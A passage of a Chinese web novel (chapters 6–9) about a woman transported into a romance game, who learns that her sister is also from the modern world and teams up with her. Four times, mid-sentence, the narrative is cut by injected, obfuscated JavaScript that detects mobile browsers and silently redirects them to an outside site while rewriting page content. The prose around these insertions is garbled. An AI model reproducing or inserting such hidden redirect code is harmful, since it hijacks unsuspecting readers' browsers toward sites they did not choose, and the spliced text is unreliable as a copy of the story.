“是二姨母家的,就是姨夫在做吴县县治那个,”曲思盈手拄着脑袋,撅着嘴道,“听说这位表哥长得一表人才,学问也是一顶一的好,见过他的大儒没有不夸的,都说明年春闱时他一定能金榜题名,前途不可限量呢。” 正是因为前途不可限量,所以这才子表哥的眼光才格外的高,攻略起来可谓相当棘手,且他又对曲思盈几乎是一见钟情,更是不愿意分多余的眼神给旁人。 曲昭盈对他兴趣缺缺,从来没有将他列入过攻略目标里头去,应起曲思盈的话来也多少有些心不在焉,只点了点头说了句:“那确实是好本事了。” 曲思盈倒还在滔滔不绝地聊着话,说着说着,突然低声说了句:“乡下来的穷亲戚,应付起来倒也真够烦的。” 这样刻薄的话曲思盈从来不曾说过,上周目的时候更没有在曲昭盈的眼前说过类似的台词,只是她说话的声音小,曲昭盈的心思又在别处,竟然半个字也没听见。 曲昭盈正满脑子想着如何去刷卫沉的好感度。 她这几日总算振作起来,哪怕系统依旧不给她半点回应,她也得努力想办法回到自己生活的世界去——她会被拽到这个世界来,是因为她在去实习的路上出了车祸,被这个系统001找上门来用做任务的积分换命的,即便此地与现实世界的时间流逝速度不一样,但她估计自己昏迷了也已经有大半个月的时间,倘若是她一直不醒来,她的父母又要如何着急、伤心?她好不容易才找到的满意的工作,又怎么能够长久地耽误下去? 是以她又哪里有时间去消沉和抱怨?只能强迫自己打起精神来,把这不讲道理的任务继续进行下去。 即便是在干燥的北方,春日里也总是多雨水的,灰蒙蒙的天像是老鼠的皮毛,密不透风地将整个长安城包裹起来,偏偏雨中夹杂的风又是湿润甜腻的,像是沾染了花香的蜜糖,将曲昭盈的心拉长又搓扁,一时间竟也说不出是喜还是忧。 她的马车慢悠悠地走在街上,木质的车轮将随雨落下的花瓣重重地碾进泥里,曲昭盈倚在车窗前,看着坐在前头的卫沉的背影叹气。 卫沉今日穿了身藏青色窄袖长衫,腰上系一条黑色细布腰封,在上下都是灰的颜色里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803934|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外沉稳,瞧着已经比初见那日穿得体面许多,正是后来曲昭盈拿给他穿的。 起初卫沉并不肯收,说自己做侍卫是职责所在,没有无缘无故收主人赏赐的道理,曲昭盈见他执拗,才一本正经地与他说:“你既是我的侍卫,穿着打扮自然也要符合我的身份,不能叫别人看不起你,更不能借着你的错处来嚼我舌根,你若听懂了,便把这些衣裳拿去穿。” 卫沉这才恭恭敬敬地应了是,将衣服收下了,第二日起便老老实实地穿着,倒是叫曲昭盈甚是满意。 按照系统告诉过她的原作剧情来说,卫沉会在与曲思盈一次次地接触中慢慢增加好感直至一往情深,曲昭盈要做的就是趁着他喜欢上姐姐之前,抢先一步把卫沉的好感度给刷起来。 但问题就是,她根本不知道自己的行为到底有没有涨好感度。 这几日她时不时和卫沉搭话,又借口吃不下顺手送过许多小糕点给他,卫沉这人戒心强,起初并不肯轻易拿她的东西,曲昭盈倒也不气馁的继续送,最后还是莲心多嘴同他说“二小姐向来都喜欢这样与家中下人相处,你早些习惯吧。”他才终于肯收她送的那些小玩意了。 可万一卫沉根本不喜欢这样呢?万一他就喜欢高冷的才女呢?万一自己做的这些全是无用功呢?万一她做这些事反而惹来他的讨厌呢? 曲昭盈越想越头大,越想越惆怅,她思来想去,还是觉得好感度条这个东西必不可少,但她那么点生活费要攒一个二百两何其之难?她只能从别的地方想办法,是以今日才会假借着买东西的名头到街上来看看有没有什么生意能做的,好叫自己能在这里多少赚上一点钱。 只是她在来之前也只是个普普通通的大学生,性格稳妥不说,学的也是设计这种和经济、生意没有半点干系的专业,陡然叫她去做些什么,一时间倒也摸不着头脑,更害怕自己把手里那点银子一口气全赔光了,所以出来逛了小半日,除了买了些材料来做手工准备送给卫沉之外,竟然一无所获。 她才振作起来,又叫这无情的现实给了当头一棒,此时有些无精打采地倚在窗前,飘落的细雨密密地扫在她的手臂上、发髻上,她却浑然不知,只望着马蹄前头的路,仿佛那绵延的泥水路正在无穷无尽地蔓延下去,分明前方人声鼎沸,她却觉得往前往后都是一无所有的荒芜,叫她在这一场甜腻的雨里永远都走不到尽头。 曲府的灰色房檐突然在这片茫然中跃出,曲昭盈再定睛一看,马车已经稳稳当当地停在了曲府的大门前,屋檐上的雨水断了线似的嘀嗒下来,将檐下挂着的两盏灯笼打湿了,可怜兮兮地在风里飘摇着。 和我如今的境况倒也相似,曲昭盈有些自嘲地想。 卫沉识趣地为她撑起一把油纸伞,像一堵墙似的将风雨替她遮住了,曲昭盈垂着眸,低声道了句谢,卫沉还未来得及回她一句什么,忽然就见得曲夫人身旁的侍女晚棠走了上来。 “二小姐,”晚棠行了礼,这才接口道,“苏州的表少爷已经到了,夫人请您过去。” 7.第七章 穿过垂花门,再走过蜿蜒的回廊,在雨雾与落花中坐着的灰顶屋子便是曲府的中堂了。 白日里中堂的门窗向来全都开得敞亮,只是今日的天气着实算不上好,太阳叫厚重的乌云遮蔽起来,纵然是大白天的也见不到什么光,这中堂里头自然也就阴沉沉的,叫曲夫人不得不提前将油灯点上,好叫客人不会觉得自己被怠慢了。 正对着大门的,是一面挂着匾额的墙,上书万花堂三个大字,是曲兰生刚买下这宅子时亲自写的,匾额下头挂一张松鹤延年图,图下才是一张长条案,案前是梨花木制的八仙桌与两张太师椅,左右两旁各摆了一个白瓷花瓶,里头插的是几枝含苞待放的玉兰花,白纸似的给这灰蒙蒙的天一照,倒是半点蓬勃的模样也没有了,远远看过去反倒像是被人用过的抹布,灰头土脸地搭在枝丫上头。 曲夫人正坐在匾额下的黄梨木太师椅上,笑着与坐在下首的男子说话,曲昭盈进屋时,曲夫人似乎正说到兴处,说话的语调都比平日里要高昂一些:“是了,难为你娘还记得我喜欢吃这些,从前还未出阁时,二姐只要出门就一定会给我带这些点心回来。” “娘亲总在家里叨念姨母,”那年轻男子回话道,语气里似乎还带着些笑意,“还说若有机会,一定要自己北上来见您呢。” 曲昭盈踏着雨进来,恭敬地道了声:“娘亲,您找我。” 她话音才落,那侧对着门口坐的男子闻声回过头来,曲昭盈这才看清楚他的长相。 那男子穿着件绀青色长衫,领口绣着青竹纹样,瞧着虽然素净,但若仔细瞧去,他领口上那青竹绣花的针法却不简单,倒也不知是哪位绣娘的巧手,能叫这简单的衣服看起来有种别样的华贵。 他模样生的清秀,肤色白的好似一生从未见过阳光,在昏暗的屋里好似白玉似的,正是本作第五位男主角裴行之了。 “你来了,”曲夫人朝曲昭盈招了招手,道,“这是你裴家的表兄,今日起就住在咱们府里。” “小时候你们还一起玩过,可还有什么印象?” 她说的一起玩过,莫约是在十来年前她回老家省亲时带着曲昭盈姐妹二人与二姨一家人见过几次,只是那时曲昭盈只有四五岁的年纪,哪里还对他有什么印象?是以曲昭盈只能笑笑,反问道:“可是从前与娘回江南省亲的时候见过?” “是了,”曲夫人笑起来,又转头去冲那男子道,“行之,这是你二表妹昭盈。” 裴行之这才站起身来作揖,淡淡地道了声“表妹。” 曲昭盈面上应了话,顺势在裴行之对面的椅子上坐了下来,心里却觉得有些不对劲。 奇怪,曲思盈怎么不在? 上一周目裴行之来的时候,曲思盈就坐在裴行之对面的位置上与曲夫人一起待客,她来时三个人正在一起说笑,可此时她却全然不见曲思盈的踪影——她去哪里了? 曲昭盈被这世界的剧情弄得实在怕了,生怕再出什么幺蛾子给她又重启一次,那她真的会崩溃的,所以她立刻问:“姐姐呢?” “找我呢?”曲昭盈的话头还未落到地上,曲思盈的脚就已经踏过了中堂的门槛,“方才我屋里的丫环帮我找首饰找了半日,这才来迟了。” 说罢她又往裴行之的方向看了一眼,施施然行礼道:“这便是裴家的哥哥吧,小时候咱们还见过呢。” 她今日穿一件色湖蓝色百褶如意裙,衬得容光胜雪、肌胜羊脂,鸦羽般的黑发间随意点缀着两朵珠花,像是星光落在了沉静的湖面,虽然简单,却显得她整个人如豆蔻少女一般娇俏,与她一比,淋过一场小雨、鬓角微湿的曲昭盈倒是瞧着多少有些狼狈了。 裴行之瞧见曲思盈,眼底的光似乎都亮了三分,但他面上却半点不动声色,只恭敬地回了一礼,笑道:“表妹好记性。” 难为他这样的年纪,就已经有了这样不动声色的本事,曲昭盈想。 想着想着,曲昭盈又突然想起来从前系统给她看过的一点点的游戏剧情,当时书里写裴行之与曲思盈的初见时,就写他“瞧见曲家大小姐那一张出水芙蓉似的面庞,自己的心便突然不受控制似的跳了起来,好似哪个不懂事的孩童在海碗里随手丢下一把石子,噼里啪啦地乱响着,闹得他有些烦躁,却又有些冷冷的、残忍的快乐。” 现在的裴行之,大抵正像书里那般对曲思盈一见钟情了吧。 曲思盈倒对他的心思浑然不知,只边说话边在曲昭盈的身旁坐下,笑道:“这些日子总听身边的人夸表哥,这才想起来儿时与表哥有过一面之缘。” “表妹过奖了,”裴行之倒是谦逊,曲思盈夸他,他也仍是副宠辱不惊的模样,不疾不徐地回着话。 曲昭盈却没来由地觉得他二人这一来一去的话听起来有些耳熟。 坐在上首的曲夫人停了她的话,当即笑道:“听你这丫头胡说,十来年前的事情,你如何能记得?” 曲思盈眉毛轻轻一挑,道:“原本是不记得的,只是现下瞧见表哥一表人才的模样,便想起来了。” 她这人性子耿直又大方,说起话来却又十分懂得拿捏分寸,丝毫不会招惹人的厌烦,裴行之被她这样调侃一句,倒也不羞不恼,反而自顾自地岔开话题道:“娘亲吩咐我从苏州带来几匹料子,给姨母和两位表妹做衣裳用。” “京城里头奇珍异宝数不胜数,这些布料原也算不得什么稀罕玩意,”裴行之说话时,早已候在一旁的书童就将一直抱在怀里的的三匹布呈了上来,“但这些料子是我娘提前一年就请了苏州最有名的绣娘专程为姨母和二位表妹所制,还请笑纳。” 他这话说的谦虚,可人人都能听懂他的言外之意——苏州几位有名的绣娘的手艺名扬天下,她们做出来的料子市价都值百两金,甚至有钱都难得一匹,裴行之一下拿出来三匹,足以见其诚意了。 曲夫人果真欢喜的不得了,连连夸赞裴行之有心了,曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827868|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思盈也接了话道:“倒巧了,我与妹妹正缺个料子裁夏衣——如此,便多谢表哥了。” 曲昭盈在旁边看着看着、听着听着,总算觉察到哪里出问题了。 怪不得她会觉得这段对话怎么听怎么熟悉,原来是这些话全都是第一周目时自己与裴行之说过的! 何以这周目这对话的主角突然变成了曲思盈? 她坐在椅子上,只觉得整个人坐如针毡,在脑子里喊了几句系统,对方好似真的打定了主意不再管她,没有再给过她任何的回应,曲昭盈无法,只得逼着自己冷静下来,安慰自己道:这个游戏原本的女主角本来就是曲思盈,如今只不过是原来属于曲思盈的剧情回到她这个女主角身上而已,既然系统还没有跳错、没有给自己任何警告,那暂时应该是没有任何问题的。 只不过是她太着急回家、太害怕再一次功亏一篑,才会如此草木皆兵、有若惊弓之鸟。 她深吸一口气,又在心里将最近发生的事情细细地思索了一遍:她的攻略目标卫沉本人虽然对自己也没表现出什么特别的感情,依旧循规蹈矩、老老实实地和自己保持侍卫与小姐之间该有的距离,但至少并未表现出任何像原作那般接近曲思盈的行为,对她来说就已经是个足够的好消息了。 思及此处,她才稍微放下些心来,正要打起精神去与眼前的人说话,却又莫名地发现了一点异样。 她好像突然之间动不了了。 眼睛不会眨、鼻子也不会呼吸,微张的嘴巴好似被黏住了一样,好似有谁按下了她身上的暂停键。 而这样的感觉不过持续了一秒,便又恢复了正常,但下一刻,便又突然陷入短暂的停滞中再恢复正常,且这样的“暂停”不仅仅是她本人才有,就连眼前的曲夫人、裴行之的状态都与她一模一样。 就好像她在玩游戏的时候,设备因为过热而掉帧产生的卡顿似的。 这异常的卡顿之中,只有曲思盈与他们是不一样的。 她分明也停顿了那么一瞬,但她的一双眼睛却在这样短暂的停滞中飞快地上下扫动着,像在查阅什么书籍一般——可她的眼前分明什么也没有。 她在看什么? 她能看什么? 她的眼前有什么? 曲昭盈的心忽然不受控制地狂跳起来。 她不由自主地想,有没有可能……曲思盈有没有可能也和她一样? 曲昭盈越想越觉得坐不住,心不在焉地终于将这一场会面熬了过去,眼看着曲思盈告退离开,便也匆匆地与曲夫人、裴行之告了退,头也不回地追着曲思盈而去了。 “姐姐!” 她在花园的回廊下将人拦下,曲思盈见她跑得气喘吁吁、满脸急色,以为她有什么要紧事,面上表情也不自觉地紧绷起来,问道:“何以跑得如此匆忙?也不怕摔着了!” 曲昭盈却顾不得别的,一边喘着气一边问她道:“你可测过MBTI?” 8.第八章 银丝一样的春雨总算在入夜时依依不舍地停了,菩提似的月亮从厚厚的云中漏出一点光亮,就这么雾蒙蒙地挂在天上,好似一颗刚摘下来的、毛茸茸的水蜜桃。 曲府已经用过晚膳,今日裴行之初来乍到,曲夫人与曲老爷自然设宴款待了他,宴上众人都喝了些酒,到了此时原本都应该歇下了,只是曲二小姐住的西厢房里此刻却灯火通明,烛火从紧闭的门窗里透露出一点光亮来,与银色的月光混在一起,在窗前低矮的灌木上投下冷暖交织的色彩。 房间里时不时有少女低语的声音传出来,窸窸窣窣、含含糊糊的声音像是融化在盒子里的蜜糖,黏黏糊糊地粘在一起,叫人听不清话里头的字句——曲昭盈屏退了近身伺候的侍女,正和曲思盈躲在屋里说悄悄话。 曲思盈坐在榻上,身子支在小几上,脑袋都快杵到曲昭盈的跟前,笑着道:“打死我也想不到,在这里居然还能遇到老乡!” 哪怕此刻屋里只有她们二人,曲思盈说话的声音都不敢太大,生怕自己说的这话叫别人听了去,是以她面上的表情虽然兴奋,一双眼睛也亮晶晶的,讲话的声音却压得低了又低:“你怎么发现我是穿越来的?” 曲昭盈自然也害怕这段秘密被旁人听去,也和曲昭盈一样压低了声音讲话:“今天裴行之在屋里和你说话的时候,我突然觉得有些像游戏掉帧一样的卡顿,又发现你眼睛一直在看空气。” “那时候我就在想,你是不是和我一样,也有一个系统?” “你也有?!”曲思盈低声惊叫,“我以为只有我才有呢!” “那时候因为谢聿珩突然出现在谢家的生日宴上,我害怕是出了什么问题,就忍不住老去看原作游戏,没想到被你发现了!”曲思盈似乎有些兴奋,两条柳叶似的眉毛也飞扬起来:“你的系统能干嘛?我的系统只能给我看看游戏原作,让我念曲思盈应该念的台词,还有卖一点没啥用又贵的要死的道具!” 曲昭盈听着她对系统接连不断的抱怨,心里却觉得羡慕不已,曲昭盈有些丧气地想不愧是原作的女主角,连系统的待遇都是不一样的,说气话来的语气也有些闷闷的:“我的系统什么用处都没有,连游戏剧情也没几乎给我看过,这几天更是连叫都叫不出来,更别提什么商店道具了。” 曲思盈似乎也很意外,面上的表情呆了呆,有些尴尬地说了句:“啊,怎么会这样。” “不说这个了,”许是看出来曲思盈的尴尬,曲昭盈赶忙勾起嘴角来笑了笑,适时地换了话题“对了,你是怎么会进来这里的?” “这事儿说来也就话长了!”一听这问题,曲思盈就又立刻振作起来,滔滔不绝地说道,“我是出了点意外,受了重伤以后被系统找上门拉进这本书里的!” “这倒是和我一样。”曲昭盈道。 曲思盈顺手拿起桌子上的干果,边剥边继续说:“你不知道,以前我就玩过这个游戏,虽然这游戏很冷门,但是几个男主的立绘画的漂亮,角色性格也是我的菜,之前我玩时候就特别特别喜欢谢聿珩,所以知道自己穿进来以后别提多高兴了!” “要是真的能和谢聿珩在一起,我简直是死而无憾了。” 曲昭盈也抓了把干果仔细剥着,却并不吃,而是拿出帕子来,将剥出来的果仁一颗颗摆在帕子上,听到曲思盈说这话的时候,便抬起头来问她:“你不想回去吗?” “不想啊,”曲思盈似乎觉得曲昭盈问得这个问题很奇怪,反问她,“在这儿有什么不好?做个大小姐,吃喝拉撒都有人伺候,等到以后嫁了谢聿珩,直接无痛做皇后了,想想都觉得爽死了。” “吃的不如那边的好吃,”曲昭盈低声接了句,“上厕所不方便,洗澡也不方便,到了生理期也只能反复用布条子,洗个澡都折腾。” 她双指一捏,将坚果的脆壳“咔”一声捏碎了,用指腹将里头的果仁抠了出来,细细地抖掉上头的渣子,再整整齐齐地将其放在帕子上,用依旧低的声音说:“而且我想我爸妈了。” 说这话的时候,她的尾音带这些不易觉察的颤抖,似乎一说起自己的父母,她总有绵长又难以说出口的思念,只是曲思盈对这样的思念十分不理解,嗤笑了一声,说:“哦,我可不想我爹妈。” “我妈在我五六岁的时候就死了,”曲思盈满不在乎地将一个又一个地果子压地粉碎,再从果壳的渣子里捡出完好的果仁来丢进嘴里,边嚼边说,“不过她活着的时候也没对我多好,我爸婚内出轨,她没本事斗小三也没本事跟我爸离婚,把气都撒我头上,老打我。” “后来她病死了,我爸也没跟那小三结婚,另外又找了一个,”许是吃得口干,她又拉过茶杯来给自己倒了杯茶,“咕嘟咕嘟”地灌下口之后,才又继续说道,“这俩人更不是啥好东西了,打我骂我都算是好的,后来好不容易挨到职高毕业,我就离家出走打工去了。” “所以我觉得呆在这比那儿好多了,衣来伸手饭来张口的,还有所谓的爹娘疼着。” 她这话说得轻松,曲昭盈却听得有些难过,安慰她道:“那你在这里好好生活也挺好的,曲思盈又是女主角,曲老爷和夫人都更疼爱这个长女,我之前听系统说,这本书里的女主角最后成了大富商,生活特别幸福——说起来,我还没问你的真名叫什么呢。” “我真名不好听,反正我也不会再回去了,你就把我当做曲思盈就好啦,”曲思盈被她几句话说得又高兴起来,兴致勃勃地问她,“那你呢,你知道要怎么回去吗?” 曲昭盈点了点头,将回家的条件老实和曲思盈讲了,顺带着坦白了自己对抢姐姐的男主这一行为的愧疚,曲思盈听罢,只应了句:“那你别跟我抢谢聿珩。” 她说这话时,双眼正直勾勾地盯着曲昭盈的脸看,表情也十分严肃,曲昭盈连忙摆手道:“不会的,我想攻略的人是卫沉。” “那没事了,”曲思盈摆了摆手,笑道“反正我也不可能一口气嫁五个,分你个卫沉没问题的。” 曲思盈甚至还十分慷慨地教她攻略卫沉的诀窍:“我跟你说,卫沉他这人缺爱的很,你只要好好对他,他很快就对你死心塌地了。” 曲昭盈还没回话,就听得曲思盈突然高声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840988|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要不然这样!我知道原作剧情,我来帮你攻略卫沉,你帮我拿下谢聿珩,怎么样?!” 这话对于曲昭盈来说简直是个天大的好消息——她如今系统和瘫痪似的,又被附加了诸多条条框框,每走一步都要再三斟酌举步维艰,生怕自己再搞砸一次,是以听到曲思盈这样的提议,她自然想也不想就答应了。 还有什么能比抱上原作女主角的大腿更叫人安心的事吗? 曲思盈显然也对这个同盟很满意,又说:“我打算根据原著的剧情走,去开点心铺子赚钱!正好我以前在甜品店打过工,有许多秘方可以拿来用。” “但我有点害怕自己一个人干不成,游戏里只说了我第一家店开了就赚钱,但我一个人老觉得没底气,”曲思盈说着话,又伸出手去拉曲昭盈的手,“姐姐,你来帮我吧。” 她实际年纪比曲昭盈小上几个月,便故意撒娇去喊她姐姐:“你不是说你是学工业产品设计的吗?你帮我吧?帮我设计店铺和产品包装,咱们做点新奇的、现代的东西来,直接一举成名!” “你不是正好缺钱吗?我付你工资!” 她二人就这样聊到子时,聊到两个人都开始犯了困,曲思盈才终于舍得起身离开,临走时还依依不舍地握着曲昭盈的手道:“那咱们就说好了!” 曲昭盈笑着目送她回去,看着她披着月光一蹦一跳地消失在院子深处,这才转头去与一直站在门口守着的卫沉道:“你也去休息吧。” 卫沉没想到她突然与自己搭话,低下头应了声:“回小姐,小的要再值岗半个时辰。” 曲昭盈“哦”了一声,又伸出手去,将手里捏着的东西递给卫沉道:“这个,你接着。” 她手里捏着的正是方才和曲思盈聊天时剥下来的果仁,用手帕仔细地包了,像个包子似的团在她的指尖。 曲昭盈的手指细长又白皙,捏着的那一张帕子又是清冷的湖蓝色,叫天上迷蒙的月亮一照,更是白得像被藏在破旧柜子里的白瓷碗——卫沉没见过羊脂玉,只是他如今想来,那名贵的玉石颜色大抵也与她的肤色差不了许多,分明只是纯粹的、温润的白色,却叫他忽然觉得有些刺眼,好似多看一眼都有罪一般。 卫沉垂下眼去,恭恭敬敬地接了曲昭盈递来的东西,那小帕子在他的手里像落花似的散开了,露出里头饱满的、焦香的果仁,好似一粒粒青色的翡翠,头顶上是曲昭盈清脆的声音:“方才剥着玩的,你拿去吃吧。” 她的声音好似一阵风,吹得卫沉心里发痒,手里那一个小东西更是有若火球,烫的他连手心都在发热。 许是夜色实在太美,叫卫沉也被这月色迷了心智,下意识就想要开口去问她,问她是不是对所有人都这样好? 只是他才张了口,却又突然想起从前莲心好似说过小姐向来在下人面前没什么架子的话,那一句话便又给自己生生咽了回去,到底是没有问出口来。 此时他再去看,果仁也不过就是一包普通的果仁,月亮也只是个普通的月亮,与平日里并没有太多的差别。 “谢小姐。”他说。 9.第九章 第二日一早,因为抱上了女主角大腿而重振旗鼓的曲昭盈,正拿了纸笔在为曲思盈的产品画设计稿。 曲府的书房只有一间,通常是曲老爷在用,曲昭盈这个假女儿也不好意思去借人家的书房用,自然只能窝在自己的闺房里、伏在餐桌上认真画图。 她对这事上心得很,为了做出好的设计来,专程叫卫沉到街上买了十来家铺子的糕点回来,将那些包装用的纸一一都拆了留着,将糕点分给了卫沉和莲心,叫他们二人拿去和其他人一起吃。 卫沉从她的手里接过那些点心,只觉得那些吃食在手里有千斤重,他想起昨夜里的那一包点心,想到被自己整整齐齐叠起来、藏在胸口的那一张帕子,此时又好似一团火一般,烧的他心里头发烫。 他分明知道自己应该将那张帕子拿出来还给曲昭盈,却无论如何都没办法抬起自己的手来将那张帕子掏出来。 曲昭盈似乎已经忘了自己送了张帕子给卫沉的事情,吩咐完他们之后就低着头去研究这些点心包装,卫沉没了和她说话的机会,只好揣着那张帕子,慢腾腾地挪出了曲昭盈的闺房。 虽然来到这世界已经有一些时日了,但曲昭盈一直忙于攻略,偶尔需要写些什么东西,也都有系统剧情代劳,很长时间不曾再接触手绘,又是拿毛笔在作画,多少有些手生,连着画了四五张才找到些手感,正要继续画下去,侍女却忽然敲门进来,说是玉和郡主下了帖子来,请曲家女眷参加半月后在曲江园举办的公主生辰宴。 一见着那张帖子,曲昭盈的心里便莫名地砰砰跳起来。 来了,她想。 玉和郡主的生日宴,正是原作里谢聿珩正式登场的日子。 也是她和曲思盈结盟之后,第一次面对谢聿珩的日子。 曲思盈自然也收到了那请帖,兴致勃勃地开始为宴会那日做准备,曲昭盈对谢聿珩没有半点兴致,如今更是一门心思扑在手上这些设计稿上,还觉得光买回家看不够,还要顶着日日绵延的春雨跑到外头去,一家一家地看人家店里的东西,倒是比她自己开店还要上心。 这样的日子过了半个月,终于到了玉和郡主的生辰。 曲思盈这些日子倒也没闲着,她期待了许久与谢聿珩正式见面,近日来一直在为自己的衣裳费心,她原想打扮得再精致漂亮些,可又怕自己随意改动装扮会影响剧情,纠结了小半日,最终还是保持了与原作剧情一致的打扮:一件碧色的海棠纹襦裙,一支青色的玉簪,又在发髻尖点缀了几朵珠花,倒是衬得肤色似玉兰花一样的白,只往那里一站,便是亭亭玉立的美人了。 且她还要监督着曲昭盈也做和原剧情一样的打扮:曲二小姐虽然容貌出挑,却是个胸无点墨的姑娘,连着品味也不好,在原作里她在宴席上穿了身俗气的烟粉色百花襦裙,又贪多贪足地戴了两支金簪,妄图吸引她的心上人、世子赵怀珏的注意。 曲昭盈对宴上出现的男子没什么兴趣,也甘愿给曲思盈做绿叶,便老老实实地听她的话去打扮,好在曲昭盈肤色似白瓷,人又有春光般明媚的美貌,即便这样打扮不过是土气了些,倒也算不得难看。 但曲思盈对此却十分满意,确保万无一失之后,这才高高兴兴地与曲昭盈同乘一辆马车往曲江池去了。 近来长安城内总是春雨延绵,今日总算放了晴,天蓝的好似曲思盈衣裳的绸缎,被雨打落的花瓣热热闹闹地铺满在地上,放眼望去是无尽的桃色,倒显出一些蓬勃的生机来。 曲昭盈才一上车,便从怀中掏出一沓厚厚的纸来,对曲思盈道:“这是我这些天做的调研和设计稿,你瞧瞧。” “我做了四个方案,你看你喜欢哪个,”曲昭盈对此事兴致勃勃,说起话来的语气都是上扬的,“有什么意见你尽管提,都可以改。” 曲思盈没想到她在这样的日子里会和自己讲这个,顿时有些懵了,她看了一眼那沓厚厚的、已经被装订成册的纸,感叹道:“哇,你好认真啊。” 她随便拿起一份翻了翻,曲昭盈就立刻为她解释道:“我这几天在市面上查了查,卖点心的包装都很普通,都是拿油纸一包就了事了,只有卖的很贵的高端点心才肯拿盒子装,但盒子做的也挺普通。” “但也不代表我们想做的东西就能降维打击了。” 曲思盈每翻一页,曲昭盈便马上贴心地向她讲解自己的意图与思路:“主要是这个时代生产力不行,要像咱们现代那样做花里胡哨的包装,成本太高产量又太低,很不划算。” “基于这些条件,我做的设计都是在成本与产量可控的范围内,还可以根据新品和季节来做包装更换,更好的引导市场潮流。” 这段话说完,曲昭盈又想起什么似的“哦”了一声,继续道:“还有件事我想跟你说,我觉得我们可以效仿一下大学食堂的模式,每天做的产品都拿一个出来留样,还能保障食品安全。” 她说得滔滔不绝,曲思盈却越听越觉得头大,她只大概翻了翻曲思盈写的、画的密密麻麻的纸张,应付似的说了句:“你觉得哪个好就用哪个吧。” “那怎么行?”曲昭盈摇头道,“你是老板呀。” 曲思盈笑了笑,道:“我都没什么想法。” 游戏剧情里已经写好了她那个店铺的选址,曲思盈什么都不必操心,只要拿出自己的存款出来走剧情就行了,反正她不论如何都会成功,叫曲昭盈来入股也只是想叫她来陪一陪自己,面对曲昭盈拿出来的这么多的方案,自然是连看都懒得多看几页。 曲昭盈却很意外:“你什么都不想,将来遇到问题怎么办?” 曲思盈不以为然:“怕什么,这些男主们都会替我解决的呀。” 说罢她又挤到曲昭盈的身边,小声地在她耳边道:“忘了跟你说,等会儿咱们的车子要在路上坏掉。” 曲昭盈还未来得及说什么,变听得她又道:“车夫去修的时候,赵怀珏会出现找茬。” “不过你不用担心,我下去跟他说几句话,他就会放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849570|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过咱们俩了,而且还会借此开始在意我,日复一日找我茬,演变成暗恋和轰轰烈烈的追求。” 曲昭盈听罢却有些不解:“你既然不打算和赵怀珏有什么牵扯,又已经知道剧情了,避开他不就好了?” “我想啊,”曲思盈理所当然地道,“人一辈子能有几次被这种顶级帅哥偏爱、为了我一个人争风吃醋的机会?这种福利我当然要好好享受!” 曲昭盈看她这样高兴,自然也不再说什么,她见曲思盈此时也没什么心思看自己做出来的设计稿,便伸出手去把它们一一收好了放进马车的柜子里,正要岔开话题说些别的,身下的马车却突然晃了晃,陡然停了下来,接下来就是车夫的声音从外头传来:“小姐稍等,车轮有些问题,咱们修一修便好。” “不打紧,慢慢修便是。” 曲思盈嘴上说无事,面上的表情却神采飞扬,坐不住似的偷偷掀帘子往外头张望,曲昭盈看见她那模样觉得有些好笑:“怎么像个要去郊游的小孩一样。” “这种只有在电视剧里才会发生的情节要在自己身上演一遍,不激动才怪呢——来了来了来了!” 她话音才落到地上,曲昭盈就听得一阵车轮声由远及近,紧接着便有人喝道:“哪个不长眼的挡着路?!还不赶紧让开!” “没瞧见我们车坏了在修吗?”车夫叫人莫名其妙地骂了一句,说话的语气自然也不大好:“你们车往旁边挪一挪,不就过去了?” 那人却是个不讲理的:“废话少说,赶紧让开!耽误了我们主子的行程,你担待得起吗?” 车夫不甘示弱:“怕耽误就绕道呗。” “你说什么?!” 眼看着两边人马要吵起来,曲思盈适时地掀开帘子现了身。 她似只蝴蝶般轻飘飘地落在地上,说话的声音却掷地有声:“前头是哪位大人在?” 接着就有个耀武扬威的声音道:“是咱们英国公世子!” 曲思盈往那马车上看了一眼,照着原作的台词念道:“还请世子爷见谅,只是这路也不是英国公一家所有,还请您绕一绕路吧。” 